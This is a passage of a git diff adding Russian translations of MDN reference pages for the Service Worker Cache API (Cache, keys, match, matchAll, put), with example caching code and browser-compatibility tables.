+ <dd>Возвращает {{jsxref("Promise")}}, который успешно завершается и возврщает массив всех найденных совпадений для данного запроса в объекте  {{domxref("Cache")}}.</dd>
+ <dt>{{domxref("Cache.add", "Cache.add(request)")}}</dt>
+ <dd>Принимает в качестве параметра URL, получает данные по нему и добавляет полученный объект ответа в заданный кеш. Функциональный эквивалент  вызову fetch() с последующим вызовом Cache.put() для добавления результата в кеш.</dd>
+ <dt>{{domxref("Cache.addAll", "Cache.addAll(requests)")}}</dt>
+ <dd>Принимает массив URL в качестве параметра, получает данные по ним, добавляет полученные объекты ответов в заданный кеш.</dd>
+ <dt>{{domxref("Cache.put", "Cache.put(request, response)")}}</dt>
+ <dd>Принимает запрос и ответ на него и добавляет их в заданный кеш.</dd>
+ <dt>{{domxref("Cache.delete", "Cache.delete(request, options)")}}</dt>
+ <dd>Находит запись {{domxref("Cache")}}, чей ключ является запросом, и, в случае находждения, удаляет запись {{domxref("Cache")}}  и возвращает {{jsxref("Promise")}}, успешно завершающийся со значением <code>true</code>. Если же запись  {{domxref("Cache")}} не найдена, возвращается <code>false</code>.</dd>
+ <dt>{{domxref("Cache.keys", "Cache.keys(request, options)")}}</dt>
+ <dd>Возвращает {{jsxref("Promise")}}, который отдает массив ключей {{domxref("Cache")}}.</dd>
+</dl>
+
+<h2 id="Примеры">Примеры</h2>
+
+<p>Этот пример кода из <a href="https://github.com/GoogleChrome/samples/blob/gh-pages/service-worker/selective-caching/service-worker.js">примера выборочного кеширования сервис воркера</a>. (смотрите <a href="https://googlechrome.github.io/samples/service-worker/selective-caching/">работа выборочного кеширования</a>). В коде используется {{domxref("CacheStorage.open", "CacheStorage.open(cacheName)")}} для открытия любых объектов {{domxref("Cache")}} с заголовком Content-Type, начинающимся с <code>font/</code>.</p>
+
+<p>Далее используется {{domxref("Cache.match", "Cache.match(request, options)")}} для определения того, находится ли уже совпадающий шрифт в кеше, и, если так, то возвращает его. Если же совпадающего шрифта нет, код получает этот шрифт по сети и использует {{domxref("Cache.put","Cache.put(request, response)")}} для кеширования полученного ресурса.</p>
+
+<p>Код обрабатывает исключения, возможные при операции {{domxref("Globalfetch.fetch","fetch()")}}. Заметьте, что HTTP-ответ с ошибкой  (например, 404) не будет вызывать исключения. Будет возвращен нормальный объект ответа с установленным соответствующим кодом ошибки.</p>
+
+<p>Также, пример описывает лучшие практики по заданию версий кеша при работе с сервис воркерами. И хотя в примере лишь один кеш, тот же подход может быть использован для множества кешей. Он сравнивает сокращенный идентификатор кеша с определенным, версионным именем кеша. Код также удаляет весь кеш, для которого не определено имя <code>CURRENT_CACHES</code>.</p>
+
+<p>В примере кода "кеш" это аттрибут WorkerGlobalScope сервис воркеров. Он содержит объект CacheStorage, через который можно получить доступ к <a href="https://developer.mozilla.org/en-US/docs/Web/API/CacheStorage">CacheStorage</a>  API.</p>
+
+<div class="note"><strong>Замечание:</strong> В Chrome, откройте chrome://inspect/#service-workers и кликните по ссылке "inspect" под зарегистрированным сервис воркером чтобы увидеть записи журнала по различным действиям выполняемым скриптом <a href="https://github.com/GoogleChrome/samples/blob/gh-pages/service-worker/selective-caching/service-worker.js">service-worker.js</a>.</div>
+
+<pre class="brush: js">var CACHE_VERSION = 1;
+
+// Сокращенный идентификатор привязанный к определенной версии кеша.
+var CURRENT_CACHES = {
+  font: 'font-cache-v' + CACHE_VERSION
+};
+
+self.addEventListener('activate', function(event) {
+  var expectedCacheNames = Object.keys(CURRENT_CACHES).map(function(key) {
+    return CURRENT_CACHES[key];
+  });
+
+  // Автивный воркер не будет рассматриваться как активированный, пока promise не разрешится успешно.
+  event.waitUntil(
+    caches.keys().then(function(cacheNames) {
+      return Promise.all(
+        cacheNames.map(function(cacheName) {
+          if (expectedCacheNames.indexOf(cacheName) == -1) {
+            console.log('Deleting out of date cache:', cacheName);
+
+            return caches.delete(cacheName);
+          }
+        })
+      );
+    })
+  );
+});
+
+self.addEventListener('fetch', function(event) {
+  console.log('Handling fetch event for', event.request.url);
+
+  event.respondWith(
+
+    // Открывает объекты Cache, начинающиеся с 'font'.
+    caches.open(CURRENT_CACHES['font']).then(function(cache) {
+      return cache.match(event.request).then(function(response) {
+        if (response) {
+          console.log('Found response in cache:', response);
+
+          return response;
+        }
+      }).catch(function(error) {
+
+        // Обрабатывает исключения от match() или fetch().
+        console.error('Error in fetch handler:', error);
+
+        throw error;
+      });
+    })
+  );
+});</pre>
+
+<h2 id="Спецификации">Спецификации</h2>
+
+<table class="standard-table">
+ <tbody>
+  <tr>
+   <th scope="col">Спецификация</th>
+   <th scope="col">Статус</th>
+   <th scope="col">Комментарий</th>
+  </tr>
+  <tr>
+   <td>{{SpecName('Service Workers', '#cache', 'Cache')}}</td>
+   <td>{{Spec2('Service Workers')}}</td>
+   <td>Initial definition.</td>
+  </tr>
+ </tbody>
+</table>
+
+<h2 id="Совместимость_с_браузерами">Совместимость с браузерами</h2>
+
+<div>{{CompatibilityTable}}</div>
+
+<div id="compat-desktop">
+<table class="compat-table">
+ <tbody>
+  <tr>
+   <th>Feature</th>
+   <th>Chrome</th>
+   <th>Firefox (Gecko)</th>
+   <th>Internet Explorer</th>
+   <th>Opera</th>
+   <th>Safari (WebKit)</th>
+  </tr>
+  <tr>
+   <td>Базовая поддержка</td>
+   <td>{{CompatChrome(40.0)}}</td>
+   <td>{{CompatGeckoDesktop(39)}}<sup>[1]</sup></td>
+   <td>{{CompatNo}}</td>
+   <td>24</td>
+   <td>{{CompatNo}}</td>
+  </tr>
+  <tr>
+   <td>add()</td>
+   <td>{{CompatChrome(44.0)}}</td>
+   <td>{{CompatVersionUnknown}}<sup>[1]</sup></td>
+   <td>{{CompatUnknown}}</td>
+   <td>{{CompatUnknown}}</td>
+   <td>{{CompatUnknown}}</td>
+  </tr>
+  <tr>
+   <td>addAll()</td>
+   <td>{{CompatChrome(46.0)}}</td>
+   <td>{{CompatVersionUnknown}}<sup>[1]</sup></td>
+   <td>{{CompatUnknown}}</td>
+   <td>{{CompatUnknown}}</td>
+   <td>{{CompatUnknown}}</td>
+  </tr>
+  <tr>
+   <td>matchAll()</td>
+   <td>{{CompatChrome(47.0)}}</td>
+   <td>{{CompatVersionUnknown}}<sup>[1]</sup></td>
+   <td>{{CompatUnknown}}</td>
+   <td>{{CompatUnknown}}</td>
+   <td>{{CompatUnknown}}</td>
+  </tr>
+  <tr>
+   <td>Требует HTTPS для <code>add()</code>, <code>addAll()</code>, и <code>put()</code></td>
+   <td>{{CompatChrome(46.0)}}</td>
+   <td>{{CompatVersionUnknown}}<sup>[1]</sup></td>
+   <td>{{CompatUnknown}}</td>
+   <td>{{CompatUnknown}}</td>
+   <td>{{CompatUnknown}}</td>
+  </tr>
+ </tbody>
+</table>
+</div>
+
+<div id="compat-mobile">
+<table class="compat-table">
+ <tbody>
+  <tr>
+   <th>Feature</th>
+   <th>Android</th>
+   <th>Android Webview</th>
+   <th>Firefox Mobile (Gecko)</th>
+   <th>Firefox OS</th>
+   <th>IE Mobile</th>
+   <th>Opera Mobile</th>
+   <th>Safari Mobile</th>
+   <th>Chrome for Android</th>
+  </tr>
+  <tr>
+   <td>Базовая поддержка</td>
+   <td>{{CompatNo}}</td>
+   <td>{{CompatNo}}</td>
+   <td>{{CompatGeckoMobile(39)}}</td>
+   <td>{{CompatUnknown}}</td>
+   <td>{{CompatNo}}</td>
+   <td>{{CompatUnknown}}</td>
+   <td>{{CompatNo}}</td>
+   <td>{{CompatChrome(40.0)}}</td>
+  </tr>
+  <tr>
+   <td>add()</td>
+   <td>{{CompatNo}}</td>
+   <td>{{CompatNo}}</td>
+   <td>{{CompatVersionUnknown}}</td>
+   <td>{{CompatUnknown}}</td>
+   <td>{{CompatUnknown}}</td>
+   <td>{{CompatUnknown}}</td>
+   <td>{{CompatUnknown}}</td>
+   <td>{{CompatChrome(44.0)}}</td>
+  </tr>
+  <tr>
+   <td>addAll()</td>
+   <td>{{CompatNo}}</td>
+   <td>{{CompatNo}}</td>
+   <td>{{CompatVersionUnknown}}</td>
+   <td>{{CompatUnknown}}</td>
+   <td>{{CompatUnknown}}</td>
+   <td>{{CompatUnknown}}</td>
+   <td>{{CompatUnknown}}</td>
+   <td>{{CompatChrome(46.0)}}</td>
+  </tr>
+  <tr>
+   <td>matchAll()</td>
+   <td>{{CompatNo}}</td>
+   <td>{{CompatNo}}</td>
+   <td>{{CompatVersionUnknown}}</td>
+   <td>{{CompatUnknown}}</td>
+   <td>{{CompatUnknown}}</td>
+   <td>{{CompatUnknown}}</td>
+   <td>{{CompatUnknown}}</td>
+   <td>{{CompatChrome(46.0)}}</td>
+  </tr>
+  <tr>
+   <td>Требует HTTPS для <code>add()</code>, <code>addAll()</code>, и <code>put()</code></td>
+   <td>{{CompatNo}}</td>
+   <td>{{CompatNo}}</td>
+   <td>{{CompatVersionUnknown}}</td>
+   <td>{{CompatUnknown}}</td>
+   <td>{{CompatUnknown}}</td>
+   <td>{{CompatUnknown}}</td>
+   <td>{{CompatUnknown}}</td>
+   <td>{{CompatChrome(46.0)}}</td>
+  </tr>
+ </tbody>
+</table>
+</div>
+
+<p>[1] Сервис воркеры (и <a href="/en-US/docs/Web/API/Push_API">Push</a>) были отключены в <a href="https://www.mozilla.org/en-US/firefox/organizations/">Firefox 45 Extended Support Release</a> (ESR.)</p>
+
+<h2 id="Смотрите_также">Смотрите также</h2>
+
+<ul>
+ <li><a href="https://developer.mozilla.org/en-US/docs/Web/API/ServiceWorker_API/Using_Service_Workers">Использование Сервис Воркеров</a></li>
+ <li><a class="external external-icon" href="https://github.com/mdn/sw-test">Базовый пример кода для Сервис воркеров</a></li>
+ <li><a class="external external-icon" href="https://jakearchibald.github.io/isserviceworkerready/">Готов ли Сервис Воркер?</a></li>
+ <li>{{jsxref("Promise")}}</li>
+ <li><a href="https://developer.mozilla.org/en-US/docs/Web/Guide/Performance/Using_web_workers">Использование web воркеров</a></li>
+</ul>
diff --git a/files/ru/web/api/cache/keys/index.html b/files/ru/web/api/cache/keys/index.html
new file mode 100644
index 0000000000..0ae385d424
--- /dev/null
+++ b/files/ru/web/api/cache/keys/index.html
@@ -0,0 +1,136 @@
+---
+title: Cache.keys()
+slug: Web/API/Cache/keys
+translation_of: Web/API/Cache/keys
+---
+<p>{{APIRef("Service Workers API")}}{{SeeCompatTable}}</p>
+
+<p>Метод <strong><code>keys()</code></strong> интерфейса {{domxref("Cache")}} возвращает {{jsxref("Promise")}}, который разрешается в массив ключей {{domxref("Cache")}}.</p>
+
+<p>Запросы возвращаются в том же порядке, в котором были добавлены.</p>
+
+<div class="note">
+<p><strong>Замечание</strong>: Запросы с дублирующимися URL, но с разными заголовками, могут быть возвращены, если в ответах на них установлен заголовок <code>VARY</code>.</p>
+</div>
+
+<h2 id="Синтаксис">Синтаксис</h2>
+
+<pre class="brush: js">cache.keys(request,{options}).then(function(keys) {
+  // сделать что-нибудь с вашим массивом запросов
+});
+</pre>
+
+<h3 id="Возвращаемое_значение">Возвращаемое значение</h3>
+
+<p>{{jsxref("Promise")}}, который разрешается в массив ключей {{domxref("Cache")}}.</p>
+
+<h3 id="Параметры">Параметры</h3>
+
+<dl>
+ <dt>request {{optional_inline}}</dt>
+ <dd>{{domxref("Request")}} который будет возвращен, если найден указанный ключ.</dd>
+ <dt>options {{optional_inline}}</dt>
+ <dd>Объект, чьи свойства контролируют то, как выполняется сопоставление ключей для операции <code>keys</code>. Допустимые параметры:
+ <ul>
+  <li><code>ignoreSearch</code>: Булево значение {{domxref("Boolean")}}, которое определяет должен ли процесс сопоставления игнорировать строку запроса в url.  Если установлено в <code>true</code>, часть <code>?value=bar</code> запроса <code>http://foo.com/?value=bar</code> будет проигнорирована при сопоставлении. По умолчанию установлено в <code>false</code>.</li>
+  <li><code>ignoreMethod</code>: Булево значение {{domxref("Boolean")}}, которое, когда равно <code>true</code>, предотвращает проверку {{domxref("Request")}}, при сопоставлении ключей, на <code>HTTP</code> метод (обычно допускаются только <code>GET</code> и <code>HEAD</code>). По умолчанию установлено в <code>false</code>.</li>
+  <li><code>ignoreVary</code>: Булево значение {{domxref("Boolean")}}, которое, когда равно <code>true,</code> указывает операции сопоставления ключей не проводить проверку заголовка <code>VARY</code>.  Другими словами, если URL совпадает, вы получите соответствие, независимо от того, есть ли заголовок <code>VARY </code>на объекте запроса {{domxref("Response")}}. По умолчанию установлено в <code>false</code>.</li>
+  <li><code>cacheName</code>: Строка {{domxref("DOMString")}}, которая представляет собой определенный кеш, в котором нужно вести поиск. Заметьте, что этот параметр игнорируется методом <code>Cache.keys()</code>.</li>
+ </ul>
+ </dd>
+</dl>
+
+<h2 id="Примеры" style="line-height: 30px; font-size: 2.14285714285714rem;">Примеры</h2>
+
+<pre class="brush: js">caches.open('v1').then(function(cache) {
+  cache.keys().then(function(keys) {
+    keys.forEach(function(request, index, array) {
+      cache.delete(request);
+    });
+  });
+})</pre>
+
+<h2 id="Спецификации">Спецификации</h2>
+
+<table class="standard-table">
+ <tbody>
+  <tr>
+   <th scope="col">Спецификация</th>
+   <th scope="col">Статус</th>
+   <th scope="col">Комментарий</th>
+  </tr>
+  <tr>
+   <td>{{SpecName('Service Workers', '#cache', 'Cache')}}</td>
+   <td>{{Spec2('Service Workers')}}</td>
+   <td>Initial definition.</td>
+  </tr>
+ </tbody>
+</table>
+
+<h2 id="Совместимость_с_браузерами">Совместимость с браузерами</h2>
+
+<div>{{CompatibilityTable}}</div>
+
+<div id="compat-desktop">
+<table class="compat-table">
+ <tbody>
+  <tr>
+   <th>Feature</th>
+   <th>Chrome</th>
+   <th>Firefox (Gecko)</th>
+   <th>Internet Explorer</th>
+   <th>Opera</th>
+   <th>Safari (WebKit)</th>
+  </tr>
+  <tr>
+   <td>Базовая поддержка</td>
+   <td>{{CompatChrome(40.0)}}<sup>[1]</sup></td>
+   <td>{{CompatGeckoDesktop(39)}}<sup>[2]</sup></td>
+   <td>{{CompatNo}}</td>
+   <td>24</td>
+   <td>{{CompatNo}}</td>
+  </tr>
+ </tbody>
+</table>
+</div>
+
+<div id="compat-mobile">
+<table class="compat-table">
+ <tbody>
+  <tr>
+   <th>Feature</th>
+   <th>Android</th>
+   <th>Android Webview</th>
+   <th>Firefox Mobile (Gecko)</th>
+   <th>Firefox OS</th>
+   <th>IE Mobile</th>
+   <th>Opera Mobile</th>
+   <th>Safari Mobile</th>
+   <th>Chrome for Android</th>
+  </tr>
+  <tr>
+   <td>Базовая поддержка</td>
+   <td>{{CompatNo}}</td>
+   <td>{{CompatNo}}</td>
+   <td>{{CompatGeckoMobile(39)}}</td>
+   <td>{{CompatUnknown}}</td>
+   <td>{{CompatNo}}</td>
+   <td>{{CompatUnknown}}</td>
+   <td>{{CompatNo}}</td>
+   <td>{{CompatChrome(40.0)}}<sup>[1]</sup></td>
+  </tr>
+ </tbody>
+</table>
+</div>
+
+<p>[1] Параметр options поддерживает только значения <code>ignoreSearch и</code> <code>cacheName</code>. </p>
+
+<p>[2] Сервис воркеры (и <a href="https://developer.mozilla.org/en-US/docs/Web/API/Push_API">Push</a>) бы ли отключены в <a href="https://www.mozilla.org/en-US/firefox/organizations/">Firefox 45 Extended Support Release</a> (ESR.)</p>
+
+<h2 id="Смотрите_также">Смотрите также</h2>
+
+<ul>
+ <li><a href="https://developer.mozilla.org/en-US/docs/Web/API/ServiceWorker_API/Using_Service_Workers">Использование сервис воркеров</a></li>
+ <li>{{domxref("Cache")}}</li>
+ <li>{{domxref("WorkerGlobalScope.caches")}}</li>
+</ul>
diff --git a/files/ru/web/api/cache/match/index.html b/files/ru/web/api/cache/match/index.html
new file mode 100644
index 0000000000..a487987497
--- /dev/null
+++ b/files/ru/web/api/cache/match/index.html
@@ -0,0 +1,151 @@
+---
+title: Cache.match()
+slug: Web/API/Cache/match
+translation_of: Web/API/Cache/match
+---
+<p>{{APIRef("Service Workers API")}}{{SeeCompatTable}}</p>
+
+<p>Метод <strong><code>match()</code></strong> интерфейса {{domxref("Cache")}} возвращает {{jsxref("Promise")}}, который разрешается в {{domxref("Response")}}, ассоциированный с первым совпадающим запросом в объекте {{domxref("Cache")}}. Если совпадений не найдено, {{jsxref("Promise")}} разрешается в {{jsxref("undefined")}}.</p>
+
+<h2 id="Синтаксис">Синтаксис</h2>
+
+<pre class="brush: js">cache.match(request,{options}).then(function(response) {
+  //сделать что-нибудь с ответом
+});
+</pre>
+
+<h3 id="Возвращаемое_значение">Возвращаемое значение</h3>
+
+<p>{{jsxref("Promise")}}, который разрешается в первый {{domxref("Response")}}, который совпадает с запросом или в {{jsxref("undefined")}}, если совпадений не найдено.</p>
+
+<div class="note">
+<p><strong>Замечание</strong>: <code>Cache.match()</code> в основном идентичен {{domxref("Cache.matchAll()")}}, за исключением того, что <code>Cache.match()</code> разрешается в <code>response[0]</code> (первый совпадающий ответ) вместо <code>response[]</code> (массив со всеми совпадающими ответами).</p>
+</div>
+
+<h3 id="Параметры">Параметры</h3>
+
+<dl>
+ <dt>request</dt>
+ <dd>Запрос {{domxref("Request")}}, который вы пытаетесь найти в {{domxref("Cache")}}.</dd>
+ <dt>options {{optional_inline}}</dt>
+ <dd>Объект, который задает параметры для операции <code>match</code>. Допустимые значения:
+ <ul>
+  <li><code>ignoreSearch</code>: Булево значение {{domxref("Boolean")}}, которое указывает следует ли игнорировать строку запроса в url.  Например, если оно установлено в <code>true, часть</code> <code>?value=bar</code> запроса <code>http://foo.com/?value=bar</code> будет проигнорирована при поиске соответствий ключа. По умолчанию равно <code>false</code>.</li>
+  <li><code>ignoreMethod</code>: Булево значение {{domxref("Boolean")}}, которое, когда равно <code>true</code>, предотвращает проверку <code>http</code> метода для запроса  {{domxref("Request")}} при выполнении сопоставлений ключа (обычно разрешены лишь <code>GET</code> и <code>HEAD</code>). По умолчанию равно <code>false</code>.</li>
+  <li><code>ignoreVary</code>: Булево значение {{domxref("Boolean")}}, которое, когда установлено в <code>true,</code> указывает операции сопоставления ключа не проводить проверку соответствия заголовка <code>VARY</code> — т.е., если URL совпадает, вы получите соответствие независимо от того, установлен ли на объекте {{domxref("Response")}} заголовок <code>VARY</code>. По умолчанию равно <code>false</code>.</li>
+  <li><code>cacheName</code>: Строка {{domxref("DOMString")}}, задающая определенный кеш для поиска. Заметьте, что этот параметр игнорируется методом  <code>Cache.match()</code>.</li>
+ </ul>
+
+ <p>В Chrome поддерживается лишь <code>cacheName</code>.</p>
+ </dd>
+</dl>
+
+<h2 id="Примеры" style="line-height: 30px; font-size: 2.14285714285714rem;">Примеры</h2>
+
+<p>Код взят примера из примера <a href="https://github.com/GoogleChrome/samples/blob/gh-pages/service-worker/custom-offline-page/service-worker.js">пользовательская оффлайн страница</a> (<a href="https://googlechrome.github.io/samples/service-worker/custom-offline-page/index.html">живой пример</a>).</p>
+
+<p>Следующий пример использует кеш для предоставления данных, когда запрос не удался. Выражение <code>catch()</code> выполняется когда вызов <code>fetch()</code> возбуждает исключение. Внутри выражения <code>catch()</code>, <code>match()</code> используется для возврата корректного ответа.</p>
+
+<p>В этом примере, мы решили что кешироваться будут лишь HTML-документы полученные с помощью GET-запроса. <span style="line-height: 19.0909080505371px;">Если условие <code>if()</code> равно false, то обработчик не будет вмешиваться в ответ. Если зарегистрированы другие обработчики получения данных, то у них будет шанс вызвать  <code>event.respondWith()</code>. Если ни один из обработчиков не вызовет <code>event.respondWith()</code>, запрос будет обработан браузером, как это было бы сделано без участия сервис воркера. Если </span><code style="font-style: normal; line-height: 19.0909080505371px;">fetch()</code><span style="line-height: 19.0909080505371px;"> возвращает валидный HTTP ответ к кодом из диапазона 4xx или 5xx, то метод </span><code style="font-style: normal; line-height: 19.0909080505371px;">catch()</code><span style="line-height: 19.0909080505371px;"> не будет вызван. </span></p>
+
+<pre class="brush: js">self.addEventListener('fetch', function(event) {
+  // Мы хотим выполнить лишь event.respondWith() если это GET-запрос HTML-документа.
+  if (event.request.method === 'GET' &amp;&amp;
+      event.request.headers.get('accept').indexOf('text/html') !== -1) {
+    console.log('Handling fetch event for', event.request.url);
+    event.respondWith(
+      fetch(event.request).catch(function(e) {
+        console.error('Fetch failed; returning offline page instead.', e);
+        return caches.open(OFFLINE_CACHE).then(function(cache) {
+          return cache.match(OFFLINE_URL);
+        });
+      })
+    );
+  }
+});</pre>
+
+<h2 id="Спецификации">Спецификации</h2>
+
+<table class="standard-table">
+ <tbody>
+  <tr>
+   <th scope="col">Спецификация</th>
+   <th scope="col">Статус</th>
+   <th scope="col">Комментарий</th>
+  </tr>
+  <tr>
+   <td>{{SpecName('Service Workers', '#cache', 'Cache')}}</td>
+   <td>{{Spec2('Service Workers')}}</td>
+   <td>Initial definition.</td>
+  </tr>
+ </tbody>
+</table>
+
+<h2 id="Совместимость_с_браузерами">Совместимость с браузерами</h2>
+
+<div>{{CompatibilityTable}}</div>
+
+<div id="compat-desktop">
+<table class="compat-table">
+ <tbody>
+  <tr>
+   <th>Feature</th>
+   <th>Chrome</th>
+   <th>Firefox (Gecko)</th>
+   <th>Internet Explorer</th>
+   <th>Opera</th>
+   <th>Safari (WebKit)</th>
+  </tr>
+  <tr>
+   <td>Базовая поддержка</td>
+   <td>{{CompatChrome(40.0)}} [1]</td>
+   <td>{{CompatGeckoDesktop(39)}}<sup>[2]</sup></td>
+   <td>{{CompatNo}}</td>
+   <td>24</td>
+   <td>{{CompatNo}}</td>
+  </tr>
+ </tbody>
+</table>
+</div>
+
+<div id="compat-mobile">
+<table class="compat-table">
+ <tbody>
+  <tr>
+   <th>Feature</th>
+   <th>Android</th>
+   <th>Android Webview</th>
+   <th>Firefox Mobile (Gecko)</th>
+   <th>Firefox OS</th>
+   <th>IE Mobile</th>
+   <th>Opera Mobile</th>
+   <th>Safari Mobile</th>
+   <th>Chrome for Android</th>
+  </tr>
+  <tr>
+   <td>Базовая поддержка</td>
+   <td>{{CompatNo}}</td>
+   <td>{{CompatNo}}</td>
+   <td>{{CompatGeckoMobile(39)}}</td>
+   <td>{{CompatUnknown}}</td>
+   <td>{{CompatNo}}</td>
+   <td>{{CompatUnknown}}</td>
+   <td>{{CompatNo}}</td>
+   <td>{{CompatChrome(40.0)}} [1]</td>
+  </tr>
+ </tbody>
+</table>
+</div>
+
+<ul>
+ <li>[1] Параметр options поддерживает только <code>ignoreSearch и</code> <code>cacheName</code>. </li>
+ <li>[2] Сервис воркеры (и <a href="/en-US/docs/Web/API/Push_API">Push</a>) были отключены в <a href="https://www.mozilla.org/en-US/firefox/organizations/">Firefox 45 Extended Support Release</a> (ESR.)</li>
+</ul>
+
+<h2 id="Смотрите_также">Смотрите также</h2>
+
+<ul>
+ <li><a href="https://developer.mozilla.org/en-US/docs/Web/API/ServiceWorker_API/Using_Service_Workers">Использование сервис воркеров</a></li>
+ <li>{{domxref("Cache")}}</li>
+ <li>{{domxref("WorkerGlobalScope.caches")}}</li>
+</ul>
diff --git a/files/ru/web/api/cache/matchall/index.html b/files/ru/web/api/cache/matchall/index.html
new file mode 100644
index 0000000000..1b2ff77253
--- /dev/null
+++ b/files/ru/web/api/cache/matchall/index.html
@@ -0,0 +1,134 @@
+---
+title: Cache.matchAll()
+slug: Web/API/Cache/matchAll
+translation_of: Web/API/Cache/matchAll
+---
+<p>{{APIRef("Service Workers API")}}{{SeeCompatTable}}</p>
+
+<p>Метод <strong><code>matchAll()</code></strong> интерфейса {{domxref("Cache")}} возвращает {{jsxref("Promise")}}, который разрешается в массив всех совпадающих запросов в объекте {{domxref("Cache")}}.</p>
+
+<h2 id="Синтаксис">Синтаксис</h2>
+
+<pre class="brush: js">cache.matchAll(request,{options}).then(function(response) {
+  //сделать что-ниьудь с массивом ответов
+});
+</pre>
+
+<h3 id="Возвращаемое_значение">Возвращаемое значение</h3>
+
+<p>{{jsxref("Promise")}}, который разрешается в массив всех совпадающих запросов в объекте {{domxref("Cache")}}.</p>
+
+<div class="note">
+<p><strong>Замечание</strong>: {{domxref("Cache.match()")}} в основном идентичен <code>Cache.matchAll()</code>, за исключением того, что последний разрешается с <code>response[0]</code> (т.е., первым совпадающим ответом) вместо <code>response</code> (всех совпадающих ответов в массиве).</p>
+</div>
+
+<h3 id="Параметры">Параметры</h3>
+
+<dl>
+ <dt>request</dt>
+ <dd>Запрос {{domxref("Request")}}, который вы пытаетесь найти в {{domxref("Cache")}}.</dd>
+ <dt>options {{optional_inline}}</dt>
+ <dd>Объект options, разрешающий вам установить особые команды контроля поиска соответствий ключа, выполняемого операцией <code>match</code>. Доступные параметры:
+ <ul>
+  <li><code>ignoreSearch</code>: Булево значение {{domxref("Boolean")}}, которое говорит должен ли  процесс сопоставления ключей игнорировать строку запроса в url.  Если равно <code>true</code>, часть <code>?value=bar</code> запроса <code>http://foo.com/?value=bar</code> будет игнорироваться при поиске соответствий ключа . По умолчанию равно <code>false</code>.</li>
+  <li><code>ignoreMethod</code>: Булево значение {{domxref("Boolean")}}, которое, если равно <code>true</code>, предотвращает проверку метода <code>http</code> для запроса {{domxref("Request")}} (обычно разрешены лишь <code>GET и</code> <code>HEAD</code>). По умолчанию равно <code>false</code>.</li>
+  <li><code>ignoreVary</code>: Булево значение {{domxref("Boolean")}}, которое, когда равно <code>true,</code> говорит процессу сопоставления ключей не проверять соответствие заголовка <code>VARY</code> — т.е., если URL совпадает, то вы получите соответствие независимо от того, содержит ли объект {{domxref("Response")}} заголовок <code>VARY, или нет</code>. По умолчанию равно <code>false</code>.</li>
+  <li><code>cacheName</code>: Строка {{domxref("DOMString")}}, которая представляет собой имя кеша для поиска. <strong>Заметьте, что этот параметр игнорируется методом <code>Cache.matchAll()</code>.</strong></li>
+ </ul>
+ </dd>
+</dl>
+
+<h2 id="Примеры" style="line-height: 30px; font-size: 2.14285714285714rem;">Примеры</h2>
+
+<pre class="brush: js">caches.open('v1').then(function(cache) {
+  cache.matchAll('/images/').then(function(response) {
+    response.forEach(function(element, index, array) {
+      cache.delete(element);
+    });
+  });
+})</pre>
+
+<h2 id="Спецификации">Спецификации</h2>
+
+<table class="standard-table">
+ <tbody>
+  <tr>
+   <th scope="col">Спецификация</th>
+   <th scope="col">Статус</th>
+   <th scope="col">Комментарий</th>
+  </tr>
+  <tr>
+   <td>{{SpecName('Service Workers', '#cache', 'Cache')}}</td>
+   <td>{{Spec2('Service Workers')}}</td>
+   <td>Initial definition.</td>
+  </tr>
+ </tbody>
+</table>
+
+<h2 id="Совместимость_с_браузерами">Совместимость с браузерами</h2>
+
+<div>{{CompatibilityTable}}</div>
+
+<div id="compat-desktop">
+<table class="compat-table">
+ <tbody>
+  <tr>
+   <th>Feature</th>
+   <th>Chrome</th>
+   <th>Firefox (Gecko)</th>
+   <th>Internet Explorer</th>
+   <th>Opera</th>
+   <th>Safari (WebKit)</th>
+  </tr>
+  <tr>
+   <td>Базовая поддержка</td>
+   <td>{{CompatChrome(47.0)}} <sup>[1]</sup></td>
+   <td>{{CompatGeckoDesktop(44)}}<sup>[2]</sup></td>
+   <td>{{CompatNo}}</td>
+   <td>34</td>
+   <td>{{CompatNo}}</td>
+  </tr>
+ </tbody>
+</table>
+</div>
+
+<div id="compat-mobile">
+<table class="compat-table">
+ <tbody>
+  <tr>
+   <th>Feature</th>
+   <th>Android</th>
+   <th>Android Webview</th>
+   <th>Firefox Mobile (Gecko)</th>
+   <th>Firefox OS</th>
+   <th>IE Mobile</th>
+   <th>Opera Mobile</th>
+   <th>Safari Mobile</th>
+   <th>Chrome for Android</th>
+  </tr>
+  <tr>
+   <td>Базовая поддержка</td>
+   <td>{{CompatNo}}</td>
+   <td>{{CompatNo}}</td>
+   <td>{{CompatVersionUnknown}}</td>
+   <td>{{CompatUnknown}}</td>
+   <td>{{CompatNo}}</td>
+   <td>{{CompatUnknown}}</td>
+   <td>{{CompatNo}}</td>
+   <td>{{CompatChrome(47.0)}}<sup>[1]</sup></td>
+  </tr>
+ </tbody>
+</table>
+</div>
+
+<p>[1] Параметр options поддерживает только <code>ignoreSearch и</code> <code>cacheName</code>.</p>
+
+<p>[2] Сервис воркеры (и <a href="/en-US/docs/Web/API/Push_API">Push</a>) были отключены в <a href="https://www.mozilla.org/en-US/firefox/organizations/">Firefox 45 Extended Support Release</a> (ESR.)</p>
+
+<h2 id="Смотрите_также">Смотрите также</h2>
+
+<ul>
+ <li><a href="https://developer.mozilla.org/en-US/docs/Web/API/ServiceWorker_API/Using_Service_Workers">Использование сервис воркеров</a></li>
+ <li>{{domxref("Cache")}}</li>
+ <li>{{domxref("WorkerGlobalScope.caches")}}</li>
+</ul>
diff --git a/files/ru/web/api/cache/put/index.html b/files/ru/web/api/cache/put/index.html
new file mode 100644
index 0000000000..a1d6d7080c
--- /dev/null
+++ b/files/ru/web/api/cache/put/index.html
@@ -0,0 +1,109 @@
+---
+title: Cache.put()
+slug: Web/API/Cache/put
+translation_of: Web/API/Cache/put
+---
+<p>{{APIRef("Service Workers API")}}{{SeeCompatTable}}</p>
+
+<p><span class="seoSummary">Метод <strong><code>put()</code></strong> интерфейса {{domxref("Cache")}} позволяет добавлять пары ключ/значение в текущий объект {{domxref("Cache")}}.</span></p>
+
+<p>Often, you will just want to {{domxref("WindowOrWorkerGlobalScope.fetch","fetch()")}} one or more requests, then add the result straight to your cache. In such cases you are better off using {{domxref("Cache.add","Cache.add()")}}/{{domxref("Cache.addAll","Cache.addAll()")}}, as they are shorthand functions for one or more of these operations.</p>
+
+<pre class="brush: js">fetch(url).then(function(response) {
+  if (!response.ok) {
+    throw new TypeError('Bad response status');
+  }
+  return cache.put(url, response);
+})
+
+</pre>
+
+<div class="note">
+<p><strong>Note</strong>: <code>put()</code> will overwrite any key/value pair previously stored in the cache that matches the request.</p>
+</div>
+
+<div class="note">
